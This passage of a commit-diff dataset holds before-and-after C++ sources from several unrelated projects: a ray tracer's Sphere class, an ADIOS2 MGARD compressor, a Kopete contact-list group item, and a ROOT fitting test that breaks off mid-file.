)\n\t\t{\n\t\t\tmWillRestart = t;\n\t\t}\n};\n\nclass EventHandler\n{\n\tpublic:\n\t\tEventHandler() { }\n\t\t~EventHandler()\n\t\t{\n\t\t\tdestroyEvents();\n\t\t}\n\tprivate:\n\t\tEventHandler ( const EventHandler& );\n\t\tEventHandler&operator= ( const EventHandler& );\n\n\t\tstd::list<Event*>mEventList;\n\tpublic:\n\t\tstd::list<Event *>::iterator getFirst() { return mEventList.begin(); }\n\t\tstd::list<Event *>::iterator getLast() { return mEventList.end(); }\n\t\tvoid BootupEvents();\n\t\tint processEvents ( int ev_type );\n\t\tvoid destroyEvents ( void );\n\t\tvoid destroyEvent ( Event *ev );\n\t\tEvent *addEvent ( Event *ev, bool repeat, double seconds ); \/\/ return the event so we can store certain events easily\n\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/* \n * File:   Sphere.hpp\n * Author: Benedikt Vogler\n *\n * Created on 4. Juli 2014, 19:25\n *\/\n\n#ifndef SPHERE_HPP\n#define\tSPHERE_HPP\n\n#include <glm\/glm.hpp>\n#include \"ray.hpp\"\n#include \"RenderObject.hpp\"\n\n\nclass Sphere: public RenderObject {\npublic:\n    Sphere():\n        RenderObject(\"unnamed\", Material()), radius(0)\n    {};\n    \n    \/**\n     * Creates a shpere.\n     * @param name The name of the shpere.\n     * @param center the center position vector of the sphere\n     * @param radius The radius of the sphere.\n     * @param material \n     *\/\n    Sphere(string name, glm::vec3 const& center, float const radius, Material material) :\n        RenderObject(name, material), center(center), radius(radius)\n    {}\n\n    Sphere(const Sphere& orig);\n    virtual ~Sphere();\n    std::pair<bool, glm::vec3> intersect(Ray const& ray) const;\n    \nprivate:\n    float radius;\n    glm::vec3 center;\n};\n\n#endif\t\/* SPHERE_HPP *\/\n\n<commit_msg>const correctnes<commit_after>\/* \n * File:   Sphere.hpp\n * Author: Benedikt Vogler\n *\n * Created on 4. Juli 2014, 19:25\n *\/\n\n#ifndef SPHERE_HPP\n#define\tSPHERE_HPP\n\n#include <glm\/glm.hpp>\n#include \"ray.hpp\"\n#include \"RenderObject.hpp\"\n\n\nclass Sphere: public RenderObject {\npublic:\n    Sphere():\n        RenderObject(\"unnamed\", Material()), radius(0)\n    {};\n    \n    \/**\n     * Creates a shpere.\n     * @param name The name of the shpere.\n     * @param center the center position vector of the sphere\n     * @param radius The radius of the sphere.\n     * @param material \n     *\/\n    Sphere(string name, glm::vec3 const& center, float const radius, Material const& material) :\n        RenderObject(name, material), center(center), radius(radius)\n    {}\n\n    Sphere(const Sphere& orig);\n    virtual ~Sphere();\n    std::pair<bool, glm::vec3> intersect(Ray const& ray) const;\n    \nprivate:\n    float radius;\n    glm::vec3 center;\n};\n\n#endif\t\/* SPHERE_HPP *\/\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Distributed under the OSI-approved Apache License, Version 2.0.  See\n * accompanying file Copyright.txt for details.\n *\n * CompressMGARD.cpp :\n *\n *  Created on: Aug 3, 2018\n *      Author: William F Godoy godoywf@ornl.gov\n *\/\n\n#include \"CompressMGARD.h\"\n\n#include <cstring> \/\/std::memcpy\n\n#include <mgard_api.h>\n\n#include \"adios2\/helper\/adiosFunctions.h\"\n\nnamespace adios2\n{\nnamespace core\n{\nnamespace compress\n{\n\nCompressMGARD::CompressMGARD(const Params &parameters, const bool debugMode)\n: Operator(\"mgard\", parameters, debugMode)\n{\n}\n\nsize_t CompressMGARD::Compress(const void *dataIn, const Dims &dimensions,\n                               const size_t elementSize, const std::string type,\n                               void *bufferOut, const Params &parameters,\n                               Params &info) const\n{\n    const size_t ndims = dimensions.size();\n    if (m_DebugMode)\n    {\n        if (ndims > 3)\n        {\n            throw std::invalid_argument(\n                \"ERROR: ADIOS2 MGARD compression: no more \"\n                \"than 3-dimensions is supported.\\n\");\n        }\n    }\n\n    \/\/ set type\n    int mgardType = -1;\n    if (type == helper::GetType<double>())\n    {\n        mgardType = 1;\n    }\n    else\n    {\n        if (m_DebugMode)\n        {\n            throw std::invalid_argument(\n                \"ERROR: ADIOS2 operator \"\n                \"MGARD only supports double precision, in call to Put\\n\");\n        }\n    }\n\n    int r[3];\n    r[0] = 0;\n    r[1] = 0;\n    r[2] = 0;\n\n    for (size_t i = 0; i < ndims; i++)\n    {\n        r[ndims - i - 1] = static_cast<int>(dimensions[i]);\n    }\n\n    \/\/ Parameters\n    bool hasTolerance = false;\n    double tolerance;\n    auto itAccuracy = parameters.find(\"accuracy\");\n    if (itAccuracy != parameters.end())\n    {\n        tolerance = std::stod(itAccuracy->second);\n        hasTolerance = true;\n    }\n    auto itTolerance = parameters.find(\"tolerance\");\n    if (itTolerance != parameters.end())\n    {\n        tolerance = std::stod(itTolerance->second);\n        hasTolerance = true;\n    }\n    if (!hasTolerance)\n    {\n        throw std::invalid_argument(\"ERROR: missing mandatory parameter \"\n                                    \"tolerance for MGARD compression \"\n                                    \"operator\\n\");\n    }\n\n    int sizeOut = 0;\n    unsigned char *dataOutPtr =\n        mgard_compress(mgardType, const_cast<double *>(static_cast<const double *>(dataIn)), sizeOut, r[0],\n                       r[1], r[2], tolerance, 0.0);\n\n    const size_t sizeOutT = static_cast<size_t>(sizeOut);\n    std::memcpy(bufferOut, dataOutPtr, sizeOutT);\n\n    return sizeOutT;\n}\n\nsize_t CompressMGARD::Decompress(const void *bufferIn, const size_t sizeIn,\n                                 void *dataOut, const Dims &dimensions,\n                                 const std::string type,\n                                 const Params & \/*parameters*\/) const\n{\n    int mgardType = -1;\n    size_t elementSize = 0;\n\n    if (type == helper::GetType<double>())\n    {\n        mgardType = 1;\n        elementSize = 8;\n    }\n    else\n    {\n        if (m_DebugMode)\n        {\n            throw std::invalid_argument(\n                \"ERROR: ADIOS2 operator \"\n                \"MGARD only supports double precision, in call to Get\\n\");\n        }\n    }\n\n    const size_t ndims = dimensions.size();\n    int r[3];\n    r[0] = 0;\n    r[1] = 0;\n    r[2] = 0;\n\n    for (size_t i = 0; i < ndims; i++)\n    {\n        r[ndims - i - 1] = static_cast<int>(dimensions[i]);\n    }\n\n    void *dataPtr = mgard_decompress(\n        mgardType,\n        reinterpret_cast<unsigned char *>(const_cast<void *>(bufferIn)),\n        static_cast<int>(sizeIn), r[0], r[1], r[2], 0);\n\n    const size_t dataSizeBytes = helper::GetTotalSize(dimensions) * elementSize;\n    std::memcpy(dataOut, dataPtr, dataSizeBytes);\n\n    return static_cast<size_t>(dataSizeBytes);\n}\n\n} \/\/ end namespace compress\n} \/\/ end namespace core\n} \/\/ end namespace adios2\n<commit_msg>Format compliance.<commit_after>\/*\n * Distributed under the OSI-approved Apache License, Version 2.0.  See\n * accompanying file Copyright.txt for details.\n *\n * CompressMGARD.cpp :\n *\n *  Created on: Aug 3, 2018\n *      Author: William F Godoy godoywf@ornl.gov\n *\/\n\n#include \"CompressMGARD.h\"\n\n#include <cstring> \/\/std::memcpy\n\n#include <mgard_api.h>\n\n#include \"adios2\/helper\/adiosFunctions.h\"\n\nnamespace adios2\n{\nnamespace core\n{\nnamespace compress\n{\n\nCompressMGARD::CompressMGARD(const Params &parameters, const bool debugMode)\n: Operator(\"mgard\", parameters, debugMode)\n{\n}\n\nsize_t CompressMGARD::Compress(const void *dataIn, const Dims &dimensions,\n                               const size_t elementSize, const std::string type,\n                               void *bufferOut, const Params &parameters,\n                               Params &info) const\n{\n    const size_t ndims = dimensions.size();\n    if (m_DebugMode)\n    {\n        if (ndims > 3)\n        {\n            throw std::invalid_argument(\n                \"ERROR: ADIOS2 MGARD compression: no more \"\n                \"than 3-dimensions is supported.\\n\");\n        }\n    }\n\n    \/\/ set type\n    int mgardType = -1;\n    if (type == helper::GetType<double>())\n    {\n        mgardType = 1;\n    }\n    else\n    {\n        if (m_DebugMode)\n        {\n            throw std::invalid_argument(\n                \"ERROR: ADIOS2 operator \"\n                \"MGARD only supports double precision, in call to Put\\n\");\n        }\n    }\n\n    int r[3];\n    r[0] = 0;\n    r[1] = 0;\n    r[2] = 0;\n\n    for (size_t i = 0; i < ndims; i++)\n    {\n        r[ndims - i - 1] = static_cast<int>(dimensions[i]);\n    }\n\n    \/\/ Parameters\n    bool hasTolerance = false;\n    double tolerance;\n    auto itAccuracy = parameters.find(\"accuracy\");\n    if (itAccuracy != parameters.end())\n    {\n        tolerance = std::stod(itAccuracy->second);\n        hasTolerance = true;\n    }\n    auto itTolerance = parameters.find(\"tolerance\");\n    if (itTolerance != parameters.end())\n    {\n        tolerance = std::stod(itTolerance->second);\n        hasTolerance = true;\n    }\n    if (!hasTolerance)\n    {\n        throw std::invalid_argument(\"ERROR: missing mandatory parameter \"\n                                    \"tolerance for MGARD compression \"\n                                    \"operator\\n\");\n    }\n\n    int sizeOut = 0;\n    unsigned char *dataOutPtr = mgard_compress(\n        mgardType, const_cast<double *>(static_cast<const double *>(dataIn)), \n\tsizeOut, r[0], r[1], r[2], tolerance, 0.0);\n\n    const size_t sizeOutT = static_cast<size_t>(sizeOut);\n    std::memcpy(bufferOut, dataOutPtr, sizeOutT);\n\n    return sizeOutT;\n}\n\nsize_t CompressMGARD::Decompress(const void *bufferIn, const size_t sizeIn,\n                                 void *dataOut, const Dims &dimensions,\n                                 const std::string type,\n                                 const Params & \/*parameters*\/) const\n{\n    int mgardType = -1;\n    size_t elementSize = 0;\n\n    if (type == helper::GetType<double>())\n    {\n        mgardType = 1;\n        elementSize = 8;\n    }\n    else\n    {\n        if (m_DebugMode)\n        {\n            throw std::invalid_argument(\n                \"ERROR: ADIOS2 operator \"\n                \"MGARD only supports double precision, in call to Get\\n\");\n        }\n    }\n\n    const size_t ndims = dimensions.size();\n    int r[3];\n    r[0] = 0;\n    r[1] = 0;\n    r[2] = 0;\n\n    for (size_t i = 0; i < ndims; i++)\n    {\n        r[ndims - i - 1] = static_cast<int>(dimensions[i]);\n    }\n\n    void *dataPtr = mgard_decompress(\n        mgardType,\n        reinterpret_cast<unsigned char *>(const_cast<void *>(bufferIn)),\n        static_cast<int>(sizeIn), r[0], r[1], r[2], 0);\n\n    const size_t dataSizeBytes = helper::GetTotalSize(dimensions) * elementSize;\n    std::memcpy(dataOut, dataPtr, dataSizeBytes);\n\n    return static_cast<size_t>(dataSizeBytes);\n}\n\n} \/\/ end namespace compress\n} \/\/ end namespace core\n} \/\/ end namespace adios2\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    kopeteonlinestatus.cpp - Kopete Online Status\n\n    Copyright (c) 2002-2003 by Olivier Goffart       <ogoffart@tiscalinet.be>\n    Copyright (c) 2003      by Martijn Klingens      <klingens@kde.org>\n\n    Kopete    (c) 2002-2003 by the Kopete developers <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#include <qpainter.h>\n\n#include <klocale.h>\n#include <kiconloader.h>\n#include <kdebug.h>\n\n#include \"kopetecontactlistview.h\"\n#include \"kopetegroupviewitem.h\"\n#include \"kopetegroup.h\"\n#include \"kopeteonlinestatus.h\"\n#include \"kopeteprefs.h\"\n#include \"kopetemetacontactlvi.h\"\n#include \"kopetemetacontact.h\"\n\nusing namespace Kopete::UI;\n\nclass KopeteGroupViewItem::Private\n{\npublic:\n\tListView::ImageComponent *image;\n\tListView::TextComponent *name;\n\tListView::TextComponent *count;\n};\n\nKopeteGroupViewItem::KopeteGroupViewItem( KopeteGroup *group_, QListView *parent, const char *name )\n: Kopete::UI::ListView::Item( parent, group_, name )\n{\n\tm_group = group_;\n\tinitLVI();\n}\n\nKopeteGroupViewItem::KopeteGroupViewItem( KopeteGroup *group_, QListViewItem *parent, const char *name )\n : Kopete::UI::ListView::Item( parent, group_, name )\n{\n\tm_group = group_;\n\tinitLVI();\n}\n\nKopeteGroupViewItem::~KopeteGroupViewItem()\n{\n\tdelete d;\n}\n\nvoid KopeteGroupViewItem::initLVI()\n{\n\td = new Private;\n\n\tusing namespace ListView;\n\tComponent *hbox = new BoxComponent( this, BoxComponent::Horizontal );\n\td->image = new ImageComponent( hbox );\n\td->name = new TextComponent( hbox );\n\td->count = new TextComponent( hbox );\n\n\tconnect( m_group, SIGNAL( renamed( KopeteGroup*, const QString& ) ),\n\t\tthis, SLOT( refreshDisplayName() ) );\n\n\tconnect( KopetePrefs::prefs(), SIGNAL( contactListAppearanceChanged() ),\n\t\tSLOT( slotConfigChanged() ) );\n\n\tconnect( m_group, SIGNAL( iconAppearanceChanged() ), SLOT( updateIcon() ) );\n\n\trefreshDisplayName();\n\tslotConfigChanged();\n}\n\nKopeteGroup* KopeteGroupViewItem::group() const\n{\n\treturn m_group;\n}\n\nvoid KopeteGroupViewItem::slotConfigChanged()\n{\n\tupdateVisibility();\n\n\td->name->setColor( KopetePrefs::prefs()->contactListGroupNameColor() );\n\n\tQFont font = listView()->font();\n\tif ( KopetePrefs::prefs()->contactListUseCustomFonts() )\n\t\tfont = KopetePrefs::prefs()->contactListCustomNormalFont();\n\td->name->setFont( font );\n\n\td->count->setFont( KopetePrefs::prefs()->contactListSmallFont() );\n}\n\nvoid KopeteGroupViewItem::refreshDisplayName()\n{\n\ttotalMemberCount = 0;\n\tonlineMemberCount = 0;\n\n\tfor ( QListViewItem *lvi = firstChild(); lvi; lvi = lvi->nextSibling() )\n\t{\n\t\tif ( KopeteMetaContactLVI *kc = dynamic_cast<KopeteMetaContactLVI*>( lvi ) )\n\t\t{\n\t\t\ttotalMemberCount++;\n\t\t\tif ( kc->metaContact()->isOnline() )\n\t\t\t\tonlineMemberCount++;\n\t\t}\n\t}\n\n\td->name->setText( m_group->displayName() );\n\td->count->setText( i18n( \"(NUMBER OF ONLINE CONTACTS\/NUMBER OF CONTACTS IN GROUP)\", \"(%1\/%2)\" )\n\t                  .arg( QString::number( onlineMemberCount ), QString::number( totalMemberCount ) ) );\n\n\tupdateVisibility();\n\n\t\/\/ Sorting in this slot is extremely expensive as it's called dozens of times and\n\t\/\/ the sorting itself is rather slow. Therefore we call delayedSort, which tries\n\t\/\/ to group multiple sort requests into one.\n\tif ( KopeteContactListView *lv = dynamic_cast<KopeteContactListView *>( listView() ) )\n\t\tlv->delayedSort();\n\telse\n\t\tlistView()->sort();\n}\n\nQString KopeteGroupViewItem::key( int, bool ) const\n{\n\t\/\/Groups are placed after topLevel contact.\n\t\/\/Exepted Temporary group which is the first group\n\tif ( group()->type() != KopeteGroup::Normal )\n\t\treturn \"0\" + d->name->text();\n\treturn \"M\" + d->name->text();\n}\n\nvoid KopeteGroupViewItem::startRename( int col )\n{\n\tkdDebug(14000) << k_funcinfo << endl;\n\tif ( col != 0 ) return;\n\trefreshDisplayName();\n\tsetText( 0, d->name->text() );\n\tsetRenameEnabled( 0, true );\n\tKListViewItem::startRename( 0 );\n\/*\n\tKListView *lv = static_cast<KListView*>( listView() );\n\tlv->rename( this, 0 );*\/\n}\n\nvoid KopeteGroupViewItem::okRename( int col )\n{\n\tkdDebug(14000) << k_funcinfo << endl;\n\tKListViewItem::okRename(col);\n\tif ( col == 0 )\n\t\tgroup()->setDisplayName(text(0));\n\tsetText( col, QString::null );\n\trefreshDisplayName();\n}\n\nvoid KopeteGroupViewItem::cancelRename( int col )\n{\n\tkdDebug(14000) << k_funcinfo << endl;\n\tKListViewItem::cancelRename(col);\n\tsetText( col, QString::null );\n}\n\nvoid KopeteGroupViewItem::updateVisibility()\n{\n\tint visibleUsers = onlineMemberCount;\n\tif ( KopetePrefs::prefs()->showOffline() )\n\t\tvisibleUsers = totalMemberCount;\n\n\tbool visible = KopetePrefs::prefs()->showEmptyGroups() || ( visibleUsers > 0 );\n\n\tif ( isVisible() != visible )\n\t{\n\t\tsetTargetVisibility( visible );\n\t\tif ( visible )\n\t\t{\n\t\t\t\/\/ When calling setVisible(true) EVERY child item will be shown,\n\t\t\t\/\/ even if they should be hidden.\n\t\t\t\/\/ We just re-update the visibility of all child items\n\t\t\tfor ( QListViewItem *lvi = firstChild(); lvi; lvi = lvi->nextSibling() )\n\t\t\t{\n\t\t\t\tif ( KopeteMetaContactLVI *kmc = dynamic_cast<KopeteMetaContactLVI *>( lvi ) )\n\t\t\t\t\tkmc->updateVisibility();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid KopeteGroupViewItem::updateIcon()\n{\n\t\/\/ TODO: clever caching\n\tif ( isOpen() )\n\t{\n\t\tif ( group()->useCustomIcon() )\n\t\t\topen = SmallIcon( group()->icon( KopetePluginDataObject::Open ) );\n\t\telse\n\t\t\topen = SmallIcon( \"folder_green_open\" );\n\n\t\td->image->setPixmap( open );\n\t}\n\telse\n\t{\n\t\tif ( group()->useCustomIcon() )\n\t\t\tclosed = SmallIcon( group()->icon( KopetePluginDataObject::Closed ) );\n\t\telse\n\t\t\tclosed = SmallIcon( \"folder_green\" );\n\n\t\td->image->setPixmap( closed );\n\t}\n}\n\n#include \"kopetegroupviewitem.moc\"\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n<commit_msg>Update the icon anytime the config changes. Also takes care of 84637.<commit_after>\/*\n    kopeteonlinestatus.cpp - Kopete Online Status\n\n    Copyright (c) 2002-2003 by Olivier Goffart       <ogoffart@tiscalinet.be>\n    Copyright (c) 2003      by Martijn Klingens      <klingens@kde.org>\n\n    Kopete    (c) 2002-2003 by the Kopete developers <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#include <qpainter.h>\n\n#include <klocale.h>\n#include <kiconloader.h>\n#include <kdebug.h>\n\n#include \"kopetecontactlistview.h\"\n#include \"kopetegroupviewitem.h\"\n#include \"kopetegroup.h\"\n#include \"kopeteonlinestatus.h\"\n#include \"kopeteprefs.h\"\n#include \"kopetemetacontactlvi.h\"\n#include \"kopetemetacontact.h\"\n\nusing namespace Kopete::UI;\n\nclass KopeteGroupViewItem::Private\n{\npublic:\n\tListView::ImageComponent *image;\n\tListView::TextComponent *name;\n\tListView::TextComponent *count;\n};\n\nKopeteGroupViewItem::KopeteGroupViewItem( KopeteGroup *group_, QListView *parent, const char *name )\n: Kopete::UI::ListView::Item( parent, group_, name )\n{\n\tm_group = group_;\n\tinitLVI();\n}\n\nKopeteGroupViewItem::KopeteGroupViewItem( KopeteGroup *group_, QListViewItem *parent, const char *name )\n : Kopete::UI::ListView::Item( parent, group_, name )\n{\n\tm_group = group_;\n\tinitLVI();\n}\n\nKopeteGroupViewItem::~KopeteGroupViewItem()\n{\n\tdelete d;\n}\n\nvoid KopeteGroupViewItem::initLVI()\n{\n\td = new Private;\n\n\tusing namespace ListView;\n\tComponent *hbox = new BoxComponent( this, BoxComponent::Horizontal );\n\td->image = new ImageComponent( hbox );\n\td->name = new TextComponent( hbox );\n\td->count = new TextComponent( hbox );\n\n\tconnect( m_group, SIGNAL( renamed( KopeteGroup*, const QString& ) ),\n\t\tthis, SLOT( refreshDisplayName() ) );\n\n\tconnect( KopetePrefs::prefs(), SIGNAL( contactListAppearanceChanged() ),\n\t\tSLOT( slotConfigChanged() ) );\n\n\tconnect( m_group, SIGNAL( iconAppearanceChanged() ), SLOT( updateIcon() ) );\n\n\trefreshDisplayName();\n\tslotConfigChanged();\n}\n\nKopeteGroup* KopeteGroupViewItem::group() const\n{\n\treturn m_group;\n}\n\nvoid KopeteGroupViewItem::slotConfigChanged()\n{\n\tupdateIcon();\n\tupdateVisibility();\n\n\td->name->setColor( KopetePrefs::prefs()->contactListGroupNameColor() );\n\n\tQFont font = listView()->font();\n\tif ( KopetePrefs::prefs()->contactListUseCustomFonts() )\n\t\tfont = KopetePrefs::prefs()->contactListCustomNormalFont();\n\td->name->setFont( font );\n\n\td->count->setFont( KopetePrefs::prefs()->contactListSmallFont() );\n}\n\nvoid KopeteGroupViewItem::refreshDisplayName()\n{\n\ttotalMemberCount = 0;\n\tonlineMemberCount = 0;\n\n\tfor ( QListViewItem *lvi = firstChild(); lvi; lvi = lvi->nextSibling() )\n\t{\n\t\tif ( KopeteMetaContactLVI *kc = dynamic_cast<KopeteMetaContactLVI*>( lvi ) )\n\t\t{\n\t\t\ttotalMemberCount++;\n\t\t\tif ( kc->metaContact()->isOnline() )\n\t\t\t\tonlineMemberCount++;\n\t\t}\n\t}\n\n\td->name->setText( m_group->displayName() );\n\td->count->setText( i18n( \"(NUMBER OF ONLINE CONTACTS\/NUMBER OF CONTACTS IN GROUP)\", \"(%1\/%2)\" )\n\t                  .arg( QString::number( onlineMemberCount ), QString::number( totalMemberCount ) ) );\n\n\tupdateVisibility();\n\n\t\/\/ Sorting in this slot is extremely expensive as it's called dozens of times and\n\t\/\/ the sorting itself is rather slow. Therefore we call delayedSort, which tries\n\t\/\/ to group multiple sort requests into one.\n\tif ( KopeteContactListView *lv = dynamic_cast<KopeteContactListView *>( listView() ) )\n\t\tlv->delayedSort();\n\telse\n\t\tlistView()->sort();\n}\n\nQString KopeteGroupViewItem::key( int, bool ) const\n{\n\t\/\/Groups are placed after topLevel contact.\n\t\/\/Exepted Temporary group which is the first group\n\tif ( group()->type() != KopeteGroup::Normal )\n\t\treturn \"0\" + d->name->text();\n\treturn \"M\" + d->name->text();\n}\n\nvoid KopeteGroupViewItem::startRename( int col )\n{\n\tkdDebug(14000) << k_funcinfo << endl;\n\tif ( col != 0 ) return;\n\trefreshDisplayName();\n\tsetText( 0, d->name->text() );\n\tsetRenameEnabled( 0, true );\n\tKListViewItem::startRename( 0 );\n\/*\n\tKListView *lv = static_cast<KListView*>( listView() );\n\tlv->rename( this, 0 );*\/\n}\n\nvoid KopeteGroupViewItem::okRename( int col )\n{\n\tkdDebug(14000) << k_funcinfo << endl;\n\tKListViewItem::okRename(col);\n\tif ( col == 0 )\n\t\tgroup()->setDisplayName(text(0));\n\tsetText( col, QString::null );\n\trefreshDisplayName();\n}\n\nvoid KopeteGroupViewItem::cancelRename( int col )\n{\n\tkdDebug(14000) << k_funcinfo << endl;\n\tKListViewItem::cancelRename(col);\n\tsetText( col, QString::null );\n}\n\nvoid KopeteGroupViewItem::updateVisibility()\n{\n\tint visibleUsers = onlineMemberCount;\n\tif ( KopetePrefs::prefs()->showOffline() )\n\t\tvisibleUsers = totalMemberCount;\n\n\tbool visible = KopetePrefs::prefs()->showEmptyGroups() || ( visibleUsers > 0 );\n\n\tif ( isVisible() != visible )\n\t{\n\t\tsetTargetVisibility( visible );\n\t\tif ( visible )\n\t\t{\n\t\t\t\/\/ When calling setVisible(true) EVERY child item will be shown,\n\t\t\t\/\/ even if they should be hidden.\n\t\t\t\/\/ We just re-update the visibility of all child items\n\t\t\tfor ( QListViewItem *lvi = firstChild(); lvi; lvi = lvi->nextSibling() )\n\t\t\t{\n\t\t\t\tif ( KopeteMetaContactLVI *kmc = dynamic_cast<KopeteMetaContactLVI *>( lvi ) )\n\t\t\t\t\tkmc->updateVisibility();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid KopeteGroupViewItem::updateIcon()\n{\n\t\/\/ TODO: clever caching\n\tif ( isOpen() )\n\t{\n\t\tif ( group()->useCustomIcon() )\n\t\t\topen = SmallIcon( group()->icon( KopetePluginDataObject::Open ) );\n\t\telse\n\t\t\topen = SmallIcon( \"folder_green_open\" );\n\n\t\td->image->setPixmap( open );\n\t}\n\telse\n\t{\n\t\tif ( group()->useCustomIcon() )\n\t\t\tclosed = SmallIcon( group()->icon( KopetePluginDataObject::Closed ) );\n\t\telse\n\t\t\tclosed = SmallIcon( \"folder_green\" );\n\n\t\td->image->setPixmap( closed );\n\t}\n}\n\n#include \"kopetegroupviewitem.moc\"\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n<|endoftext|>"}
{"text":"<commit_before>#include \"Fit\/Fitter.h\"\n#include \"Math\/WrappedMultiTF1.h\"\n#include \"TH1.h\"\n#include \"TMath.h\"\n#include \"TRandom.h\"\n#include \"TROOT.h\"\n\n#include<iostream>\n#include<chrono>\n\nconstexpr int paramSize = 6;\n\nbool compareResult(double v1, double v2, std::string s = \"\", double tol = 0.01)\n{\n   \/\/ compare v1 with reference v2\n   \/\/  \/\/ give 1% tolerance\n   if (std::abs(v1 - v2) < tol * std::abs(v2)) return true;\n   std::cerr << s << \" Failed comparison of fit results \\t logl = \" << v1 << \"   it should be = \" << v2 << std::endl;\n   return false;\n}\n\n\/\/Functor for a Higgs Fit normalized with analytical integral\ntemplate<class T>\nclass Func {\npublic:\n\n   Func()\n   {\n      params.resize(paramSize);\n   }\n   T operator()(const T *data, const Double_t *p)\n   {\n      bool changed = false;\n      for (unsigned i = 0; i < params.size(); i++) {\n         R__LOCKGUARD(gROOTMutex);\n         if (p[i] != params[i])\n            if (!changed) {\n               changed = true;\n            }\n\n      }\n\n      if (changed) {\n         R__LOCKGUARD(gROOTMutex);\n         for (unsigned i = 0; i < paramSize; i++) {\n            params[i] = p[i];\n         }\n         auto funcInt1 = [&](double x) {\n            return 50.*TMath::Sqrt(TMath::Pi()) * exp((p[4] * p[4]) \/ (4 * p[5])) * TMath::Erf((0.5 * p[4] + p[5] * 0.01 * x) \/ (TMath::Sqrt(p[5])))\n                   \/ (TMath::Sqrt(p[5]));\n         };\n         auto funcInt2 = [&](double x) {\n            return -p[3] * TMath::Sqrt(TMath::Pi() \/ 2.) * TMath::Erf((p[2] - x) \/ (TMath::Sqrt(2.) * p[3]));\n         };\n         integral1 = funcInt1(200) - funcInt1(100);\n         integral2 = funcInt2(200) - funcInt2(100);\n      }\n\n      auto f1 = params[0] * exp(-(*data + (-p[2])) * (*data + (-p[2])) \/ (2.*p[3] * p[3]));\n\n      auto f2 = (1 - params[0]) * exp(-(params[4] * (*data * (0.01)) +\n                                        params[5] * ((*data) * (0.01)) * ((*data) * (0.01))));\n\n      f1 \/= integral2 != 0 ? integral2 : 1;\n      f2 \/= integral1 != 0 ? integral1 : 1;\n      return f1 + f2;\n   }\n\nprivate:\n\n   double integral1 = 1.;\n   double integral2 = 1.;\n   std::vector<double> params;\n};\n\n\/\/Test class with functions for each of the cases\nclass TestVector {\npublic:\n   TestVector(unsigned nPoints)\n   {\n      fSeq =  new TF1(\"fseq\", Func<double>(), 100, 200, paramSize);\n      wfSeq =  new ROOT::Math::WrappedMultiTF1Templ<double>(*fSeq);\n\n#ifdef R__HAS_VECCORE\n      fVec = new TF1(\"fvCore\", Func<ROOT::Double_v>(), 100, 200, paramSize);\n      wfVec =  new ROOT::Math::WrappedMultiTF1Templ<ROOT::Double_v>(*fVec);\n#endif\n\n      dataSB = new ROOT::Fit::UnBinData(nPoints);\n\n      fSeq->SetParameters(p);\n      if (!filledData) {\n         for (unsigned i = 0; i < nPoints; ++i) {\n            double x = fSeq->GetRandom();\n            dataSB->Add(x);\n         }\n         filledData = true;\n      }\n      fitter.Config().MinimizerOptions().SetPrintLevel(3);\n      fitter.Config().SetMinimizer(\"Minuit2\", \"Migrad\");\n      fitter.Config().MinimizerOptions().SetTolerance(10);\n   }\n\n\n\n   double testFitSeq()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SEQUENTIAL TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\" << std::endl << std::endl;\n      fSeq->SetParameters(p);\n      fitter.SetFunction(*wfSeq, false);\n      fitter.Config().ParSettings(0).SetLimits(0, 1);\n      fitter.Config().ParSettings(1).Fix();\n      fitter.Config().ParSettings(3).SetLowerLimit(0);\n      fitter.Config().ParSettings(4).SetLowerLimit(0);\n      fitter.Config().ParSettings(5).SetLowerLimit(0);\n      \/\/ save the parameter settings for the other fits\n      paramSettings = fitter.Config().ParamsSettings();  \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << std::endl << \"Time for the sequential test: \" << duration.count() << std::endl;\n      return  ret;\n   }\n\n   double testMTFit()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MT TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\" << std::endl << std::endl;\n      fSeq->SetParameters(p);\n      fitter.SetFunction(*wfSeq, false);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultithread);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the parallel test: \" << duration.count() << std::endl;\n      return ret;\n   }\n\n   double testMPFit()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MP TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\n\\n\";\n      fSeq->SetParameters(p);\n      fitter.SetFunction(*wfSeq, false);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultiprocess);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the multiprocess test:\" << duration.count() << std::endl;\n      return ret;\n   }\n\n#ifdef R__HAS_VECCORE\n   double testFitVec()\n   {\n      std::cout << 